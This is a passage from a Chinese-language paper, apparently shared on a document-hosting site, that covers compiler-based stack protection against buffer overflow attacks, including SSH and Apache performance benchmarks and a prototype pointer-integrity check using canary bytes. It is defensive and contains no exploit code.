45、系統(tǒng)的兼容性構成很大的影響。我們已經用各種性能測試來評測堆棧保護的性能。Mircobenchmarks的結果表明在函數(shù)的調用,堆棧保護中增加了系統(tǒng)的開銷。而在網(wǎng)絡的測試中(需要用到堆棧保護的地方),則表明這種開銷不是很大。我們的第一個測試對象是SSH,它提供了極強的加密和認證,用來替代Berkeley的r系列指令。SSH使用了軟件加密,因此系統(tǒng)的占用的帶寬不大,我們用網(wǎng)絡間復制一個大的文件來測試帶寬:scp bigsource localhost:bigdest測試結果表明:堆棧保護幾乎不影響SSH的網(wǎng)絡吞吐性能。第二個測試使用了Apache Web服務器。如果這種服務器存在基于堆棧的攻擊,那

46、么攻擊者就可以輕易地取得Web服務器的控制權,允許攻擊者閱讀隱秘的內容和肆意篡改主頁的內容。同時,Web服務器也是對性能和帶寬要求較高的一個服務器部件。我們用WebStone對帶有和不帶堆棧保護的Apache Web服務器進行了測試,測試的結果在表二中列出。和SSH一樣,他們的性能幾乎沒有區(qū)別。在客戶數(shù)目較少的情況下,帶有保護的服務器性能比不帶保護的略微好些,在客戶端數(shù)目多的時候,不帶保護的性能好些。在最壞的情況下,帶保護的服務器比不帶保護的要差8%的連接性能,而在平均延時上保持優(yōu)勢。象以前一樣,我們把這些歸結為噪聲的影響。因此,我們的結論是:堆棧保護對Web服務器系統(tǒng)性能沒有重大的影響。3)

47、指針保護:編譯器生成(shn chn)程序指針完整性檢查在堆棧保護設計的時候,沖擊堆棧構成了緩沖區(qū)溢出攻擊的常見的一種形式。有人推測存在一種模板來構成這些攻擊(在1996年的時候)。從此,很多簡單的漏洞被發(fā)現(xiàn),實施和補丁了,很多攻擊者開始用在第二部分(b fen)中描述的更一般的方法實施緩沖區(qū)溢出攻擊。指針保護是堆棧(duzhn)保護針對這種情況的一個推廣。通過在所有的代碼指針之后放置附加字節(jié)來檢驗指針在被調用之前的合法性。如果檢驗失敗,會發(fā)出報警信號和退出程序的執(zhí)行,就如同在堆棧保護中的行為一樣。這種方案有三點需要注意:a附加字節(jié)的定位:附加字節(jié)的空間是在被保護的變量被分配的時候分配的,同時

48、在被保護字節(jié)初始化過程中被初始化。這樣就帶來了問題;為了保持兼容性,我們不想改變被保護變量的大小,因此不能簡單地在變量的結構定義中加入附加字。還有,對各種類型也有不同附加字節(jié)數(shù)目。b檢查附加字節(jié):每次程序指針被引用的時候都要檢查附加字節(jié)的完整性。這個也存在問題;因為“從存取器讀”在編譯器中沒有語義;編譯器更關心指針的使用,而各種的優(yōu)化算法傾向于從存儲器中讀入變量。c還有隨著不同類型的變量,讀入的方法也各自不同。已經開發(fā)的指針保護的一個原型(還是基于gcc的),通過附加字節(jié)來保護靜態(tài)分配的函數(shù)指針,但不適用于結構和數(shù)組類型。這個計劃還遠沒有完成。一旦這個項目完成了,那么用它和堆棧保護構成的可執(zhí)行代碼將不會受到緩沖區(qū)溢出的攻

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論